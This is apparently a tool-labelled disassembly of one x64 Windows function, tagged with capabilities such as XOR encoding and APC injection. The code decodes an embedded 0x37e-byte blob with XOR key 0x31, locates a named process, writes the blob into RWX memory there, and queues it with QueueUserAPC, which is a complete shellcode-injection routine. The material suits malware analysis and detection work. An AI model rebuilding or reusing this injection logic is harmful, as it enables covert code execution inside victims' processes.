Function at 0x140001220
Capabilities:
Allocate or change rwx memory
Encode data using xor
Enumerate processes
Enumerate threads
Inject apc

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x660]
sub rsp, 0x760
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x650], rax
mov r9, rdx
lea rdx, [rbp + 0x1c0]
lea r8, [0x1400043d0]
mov eax, 6
nop
movups xmm0, xmmword [r8]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [r8 + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [r8 + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [r8 + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [r8 + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [r8 + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [r8 + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [r8 + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea r8, [r8 + 0x80]
sub rax, 1
jne 0x140001270
movups xmm0, xmmword [r8]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [r8 + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [r8 + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [r8 + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [r8 + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [r8 + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [r8 + 0x60]
movups xmmword [rdx + 0x60], xmm0
mov rax, qword [r8 + 0x70]
mov qword [rdx + 0x70], rax
mov eax, dword [r8 + 0x78]
mov dword [rdx + 0x78], eax
movzx eax, word [r8 + 0x7c]
mov word [rdx + 0x7c], ax
movzx eax, byte [r8 + 0x7e]
mov byte [rdx + 0x7e], al
movdqa xmm2, xmmword [str.1111111111111111_]
xor edi, edi
mov eax, edi
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rbp + rax + 0x1c0]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rbp + rax + 0x1c0], xmm1
movdqu xmm0, xmmword [rbp + rax + 0x1d0]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rbp + rax + 0x1d0], xmm1
movdqu xmm0, xmmword [rbp + rax + 0x1e0]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rbp + rax + 0x1e0], xmm1
movdqu xmm0, xmmword [rbp + rax + 0x1f0]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rbp + rax + 0x1f0], xmm1
add rax, 0x40
cmp rax, 0x340
jb 0x140001340
cmp rax, 0x37e
jae 0x1400013d3
nop dword [rax + rax]
xor byte [rbp + rax + 0x1c0], 0x31
inc rax
cmp rax, 0x37e
jb 0x1400013c0
cmp ecx, 2
jge 0x1400013f1
mov rdx, qword [r9]
lea rcx, [0x140004750]
call fcn.140001010
mov eax, 0xffffffff
jmp 0x14000171c
mov rsi, qword [r9 + 8]
mov r12d, edi
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000170b
mov dword [rbp - 0x80], 0x238
lea rdx, [rbp - 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400014a0
nop word [rax + rax]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x540]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rbp - 0x54]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rax, rsi
lea r8, [rbp + 0x540]
sub r8, rsi
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001485
inc rax
test ecx, ecx
jne 0x140001472
test edx, edx
je 0x14000149c
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001430
jmp 0x1400014a0
mov r12d, dword [rbp - 0x78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r12d, r12d
je 0x14000170b
mov r8d, r12d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
jne 0x1400014e0
lea rcx, [0x140004770]
call fcn.140001010
mov eax, 0xfffffffd
jmp 0x14000171c
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x37e
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
mov rcx, r14
test rax, rax
jne 0x14000151a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xfffffffc
jmp 0x14000171c
mov qword [rsp + 0x20], rdi
mov r9d, 0x37e
lea r8, [rbp + 0x1c0]
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001561
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xfffffffb
jmp 0x14000171c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
xor edx, edx
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
mov dword [rsp + 0x60], 0x1c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x64], xmm0
mov qword [rsp + 0x74], rax
lea rdx, [rsp + 0x60]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Thread32First]
mov rbx, qword [rsp + 0x50]
test eax, eax
je 0x14000163a
cmp dword [rsp + 0x6c], r12d
jne 0x140001624
mov r8d, dword [rsp + 0x68]
xor edx, edx
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x140001624
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [rsp + 0x68]
mov dword [rsp + 0x40], ecx
mov dword [rsp + 0x44], eax
cmp rbx, rdi
je 0x1400015ff
mov rcx, qword [rsp + 0x40]
mov qword [rbx], rcx
add rbx, 8
mov qword [rsp + 0x50], rbx
jmp 0x14000161b
lea r8, [rsp + 0x40]
mov rdx, rbx
lea rcx, [rsp + 0x48]
call fcn.1400019f0
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x60]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1400015b1
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, rbx
mov rsi, qword [rsp + 0x48]
sub r8, rsi
sar r8, 3
lea r9, [0x140001210]
mov rdx, rbx
mov rcx, rsi
call fcn.1400017b0
cmp rsi, rbx
je 0x140001699
mov r8d, dword [rsi]
xor edx, edx
mov ecx, 0x10
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x140001699
xor r8d, r8d
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_SleepEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test rsi, rsi
je 0x140001707
sub rdi, rsi
and rdi, 0xfffffffffffffff8
mov rax, rsi
cmp rdi, 0x1000
jb 0x1400016fc
add rdi, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rdi
mov rcx, rsi
call fcn.14000211c
xor eax, eax
jmp 0x14000171c
lea rcx, [0x140004760]
call fcn.140001010
mov eax, 0xfffffffe
mov rcx, qword [rbp + 0x650]
xor rcx, rsp
call fcn.1400020c0
lea r11, [rsp + 0x760]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret